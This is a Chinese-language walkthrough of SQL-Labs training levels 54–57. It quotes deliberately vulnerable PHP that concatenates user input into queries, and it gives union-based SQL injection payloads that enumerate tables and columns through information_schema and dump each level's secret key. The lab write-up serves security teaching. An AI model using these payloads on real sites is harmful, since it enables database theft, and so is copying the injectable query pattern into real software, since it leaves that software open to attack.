君衍.
- 一、54关 基于GET的cookie10单引号注入
- 二、55关 基于GET的cookie14括号注入
- 三、56关 基于GET的cookie14变形注入
- 四、57关 基于GET的cookie14双引号注入
SQL-Labs靶场通关教程:
SQL注入第一课
SQL无列名注入
SQL报错注入原理
简单的SQL练习,联合注入、报错注入
POST提交方式注入
HTTP头部注入
二次注入
一些绕过案例
HTTP参数污染攻击
一、54关 基于GET的cookie10单引号注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=‘$id’ |
从主页面中我们可以看到这里显示:
The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 10 attempts
For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.
翻译即为:
此挑战的目标是在少于 10 次尝试中仅从数据库(“挑战”)的随机表中转储(密钥)
为了好玩,每次重置时,挑战都会随机生成表名、列名、表数据。始终保持新鲜。
所以我们这里进行注入需要注意注入的次数,10次进行表名以及列名的变更,所以查看源码:
1、源码分析
if(!isset($_POST['answer_key']))
{
if(isset($_POST['reset']))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else
{
if(isset($_COOKIE['challenge']))
{
$sessid=$_COOKIE['challenge'];
}
else
{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
}
echo "<br>\n";
if(isset($_GET['id']))
{
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
next_tryy();
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "<br><br><br>\n";
if($tryyy >= ($times+1))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
# 这里可以看到对于报错回显进行了注释
// print_r(mysqli_error($con1));
}
}
else
{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
}
}
else
{
echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';
$key = addslashes($_POST['key']);
$key = mysqli_real_escape_string($con1, $key);
//echo $key;
//Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysqli_query($con1, $sql)or die("error in submittion of Key Solution".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo '<img src="../images/Less-54-1.jpg" />';
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else
{
echo '<img src="../images/slap1.jpg" />';
header( "refresh:3;url=index.php" );
//print_r(mysqli_error($con1));
}
}
将源码进行简化即为:
if reset:
# 根据时间戳生成 cookie
setcookie('challenge', ' ', time() - 3600000);
else:
if cookie 中有 challenge:
$sessid=$_COOKIE['challenge'];
else:
# 生成 cookie
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
if $_GET['id']:
计数器 + 1
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
if 有查询成功:
输出查询信息
else:
注释掉报错信息
# key进行了双重过滤
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
对于最后两个转义函数,我们去PHP官网查:
这里我们即可看到将一些特殊字符进行了添加双斜线转义掉了,同时addslashes函数:
这里我们通过查看源码得知,报错信息过滤掉了,所以我们这里将无法使用报错注入,但是其进行了查询内容的回显操作,所以我们之后可以进行尝试使用联合查询注入方式。同时需要注意在10次之内完成数据的查询。
2、联合查询注入
首先我们进行闭合测试:
?id=1'--+
猜测字段数:
?id=1' order by 3--+
?id=1' order by 4--+
即可判断出该表的字段数为3,使用联合查询字段为3进行注入:
爆出数据库名称以及版本
?id=-1' union select 1,database(),version()--+
可以看到这里次数为4次,其实我们在数据库中也可看到:
爆出数据库下的表名
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+
爆出数据库该表下的列名
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='8cqmugw4eq'--+
爆出数据
?id=-1'union select 1,group_concat(secret_99OO),3 from 8cqmugw4eq--+
二、55关 基于GET的cookie14括号注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=($id) |
可以看到本关其实是将54关的10次变为了14次
所以我们这里进行注入需要注意注入的次数,14次进行表名以及列名的变更,所以查看源码:
1、源码分析
···
# 同54关相同
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
···
# 同54关相同
所以,基本与54关相同,只是闭合方式以及经过14次变更一次。
这里我们通过查看源码得知,报错信息过滤掉了,所以我们这里将无法使用报错注入,但是其进行了查询内容的回显操作,所以我们之后可以进行尝试使用联合查询注入方式。同时需要注意在14次之内完成数据的查询。
2、联合查询注入
首先我们进行闭合测试:
?id=1)--+
猜测字段数:
?id=1) order by 3--+
?id=1) order by 4--+
即可判断出该表的字段数为3,使用联合查询字段为3进行注入:
爆出数据库名称以及版本
?id=-1) union select 1,database(),version()--+
可以看到这里次数为4次。
爆出数据库下的表名
?id=-1)union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+
这里我们可以看到表名为rznc16rt9l。
爆出数据库该表下的列名
?id=-1)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='rznc16rt9l'--+
爆出数据
?id=-1)union select 1,group_concat(secret_7UOQ),3 from rznc16rt9l--+
即可拿到KEY:iS1JwXh48cORBizJujzCdqp4
提交即可:
即可成功。
三、56关 基于GET的cookie14变形注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=(‘$id’) |
可以看到本关其实是将54关的10次变为了14次
所以我们这里进行注入需要注意注入的次数,14次进行表名以及列名的变更,所以查看源码:
1、源码分析
···
# 同55关相同
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
···
# 同55关相同
所以,基本与54关相同,只是闭合方式以及经过14次变更一次。
这里我们通过查看源码得知,报错信息过滤掉了,所以我们这里将无法使用报错注入,但是其进行了查询内容的回显操作,所以我们之后可以进行尝试使用联合查询注入方式。同时需要注意在14次之内完成数据的查询。
2、联合查询注入
首先我们进行闭合测试:
?id=1')--+
猜测字段数:
?id=1') order by 3--+
?id=1') order by 4--+
即可判断出该表的字段数为3,使用联合查询字段为3进行注入:
爆出数据库名称以及版本
?id=-1') union select 1,database(),version()--+
可以看到这里次数为4次。
爆出数据库下的表名
?id=-1')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+
这里我们可以看到表名为fw517irv6n。
爆出数据库该表下的列名
?id=-1')union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='fw517irv6n'--+
爆出数据
?id=-1')union select 1,group_concat(secret_I9BC),3 from fw517irv6n--+
即可拿到KEY:9uOZSS3QkzTRYcFfGLdQIKtW
提交即可:
即可成功。
四、57关 基于GET的cookie14双引号注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=“$id” |
可以看到本关其实是将54关的10次变为了14次
所以我们这里进行注入需要注意注入的次数,14次进行表名以及列名的变更,所以查看源码:
1、源码分析
···
# 同55关相同
$id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
···
# 同55关相同
所以,基本与54关相同,只是闭合方式以及经过14次变更一次。
这里我们通过查看源码得知,报错信息过滤掉了,所以我们这里将无法使用报错注入,但是其进行了查询内容的回显操作,所以我们之后可以进行尝试使用联合查询注入方式。同时需要注意在14次之内完成数据的查询。
2、联合查询注入
首先我们进行闭合测试:
?id=1"--+
猜测字段数:
?id=1" order by 3--+
?id=1" order by 4--+
即可判断出该表的字段数为3,使用联合查询字段为3进行注入:
爆出数据库名称以及版本
?id=-1" union select 1,database(),version()--+
可以看到这里次数为4次。
爆出数据库下的表名
?id=-1"union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+
这里我们可以看到表名为vdfyos1k3u。
爆出数据库该表下的列名
?id=-1"union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='vdfyos1k3u'--+
爆出数据
?id=-1"union select 1,group_concat(secret_OWAM),3 from vdfyos1k3u--+
即可拿到KEY:lNSkfAXurdsWBZfo27l0bKuh
提交即可:
即可成功。